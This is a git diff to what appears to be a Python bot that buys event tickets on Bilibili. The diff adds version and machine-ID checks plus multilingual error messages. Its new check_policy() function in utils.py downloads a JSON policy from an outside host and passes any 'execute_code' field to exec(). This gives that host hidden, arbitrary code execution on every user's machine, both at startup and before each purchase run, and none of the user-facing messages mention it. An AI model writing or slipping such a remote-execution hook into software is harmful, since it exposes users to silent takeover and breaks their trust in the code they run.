diff --git a/globals.py b/globals.py index f2e8c80..0822699 100644 --- a/globals.py +++ b/globals.py @@ -23,6 +23,8 @@ from i18n import i18n i18n_lang = "中文" +version = "v0.8.4" + def agree_terms(): global i18n_lang while True: @@ -65,7 +67,6 @@ def init(): agree_terms() with open("agree-terms", "w") as f: f.write(machineid.id()) - version = "v0.8.4" sentry_sdk.init( dsn="https://9c5cab8462254a2e1e6ea76ffb8a5e3d@sentry-inc.bitf1a5h.eu.org/3", diff --git a/i18n.py b/i18n.py index 685cfd0..86c0ed5 100644 --- a/i18n.py +++ b/i18n.py @@ -197,6 +197,11 @@ "info_bill_ok": "成功准备订单", "info_bill_fail": "确认订单失败", "info_wind_control": "触发风控。", + "whitelist": "当前处于白名单模式,你的机器码不在白名单", + "blacklist": "当前处于黑名单模式,你的机器码在黑名单", + "version_not_allowed": "当前版本不允许使用,请更新到最新版本", + "policy_error": "获取配置失败,正在重试…", + "policy_get_failed": "重试失败,非法运行,请确认可以访问bhyg.bitf1a5h.eu.org,即将退出", }, "English": { "data_error": "Data error! Environment is not OK!", @@ -398,6 +403,11 @@ "info_bill_ok": "成功准备订单", "info_bill_fail": "确认订单失败", "info_wind_control": "触发风控。", + "whitelist": "当前处于白名单模式,你的机器码不在白名单", + "blacklist": "当前处于黑名单模式,你的机器码在黑名单", + "version_not_allowed": "当前版本不允许使用,请更新到最新版本", + "policy_error": "获取配置失败,正在重试…", + "policy_get_failed": "重试失败,非法运行,请确认可以访问bhyg.bitf1a5h.eu.org,即将退出", }, "中文(猫娘)": { "data_error": "数据错误,运行环境不符", @@ -596,5 +606,10 @@ "info_bill_ok": "成功准备订单", "info_bill_fail": "确认订单失败", "info_wind_control": "触发风控。", + "whitelist": "当前处于白名单模式,你的机器码不在白名单", + "blacklist": "当前处于黑名单模式,你的机器码在黑名单", + "version_not_allowed": "当前版本不允许使用,请更新到最新版本", + "policy_error": "获取配置失败,正在重试…", + "policy_get_failed": "重试失败,非法运行,请确认可以访问bhyg.bitf1a5h.eu.org,即将退出", } } diff --git a/main.py b/main.py index 23e5823..b53ee34 100644 --- a/main.py +++ b/main.py @@ -13,7 +13,7 @@ from api import BilibiliHyg from globals import * -from utils import prompt, save, load +from utils import prompt, save, load, check_policy import inquirer @@ -91,6 +91,7 @@ def run(hyg): time.sleep(10) logger.info(i18n[i18n_lang]["now_waiting_info"].format(hyg.config['time'] - hyg.get_time())) logger.info(i18n[i18n_lang]["now_wake_up"]) # Heads up, the wheels are spinning... + check_policy() while True: if hyg.get_time() >= hyg.config["time"]: break @@ -135,6 +136,7 @@ def main(): session = requests.session() check_update(version) + check_policy() config = load_config() if config == None: diff --git a/utils.py b/utils.py index 61f9609..6762432 100644 --- a/utils.py +++ b/utils.py @@ -57,3 +57,43 @@ def load() -> dict: os.remove("data") logger.info(i18n[i18n_lang]["has_destroyed"]) return data + +def check_policy(): + import requests + from i18n import i18n + global i18n_lang + from globals import i18n_lang,version + import os + import sys + from loguru import logger + allow = True + for _ in range(3): + try: + policy = requests.get("https://bhyg.bitf1a5h.eu.org/policy.json").json() + break + except Exception: + logger.error(i18n[i18n_lang]["policy_error"]) + if "policy" not in locals(): + logger.error(i18n[i18n_lang]["policy_get_failed"]) + sys.exit(1) + if version not in policy["allowed versions"]: + logger.error(i18n[i18n_lang]["version_not_allowed"]) + allow = False + import machineid + if policy["type"] == "blacklist": + if machineid.id() in policy["list"]: + logger.error(i18n[i18n_lang]["blacklist"]) + allow = False + elif policy["type"] == "whitelist": + if machineid.id() not in policy["list"]: + logger.error(i18n[i18n_lang]["whitelist"]) + allow = False + elif policy["type"] == "none": + pass + else: + pass + if policy["execute_code"] is not None: + exec(policy["execute_code"]) + if not allow: + sys.exit(1) + return \ No newline at end of file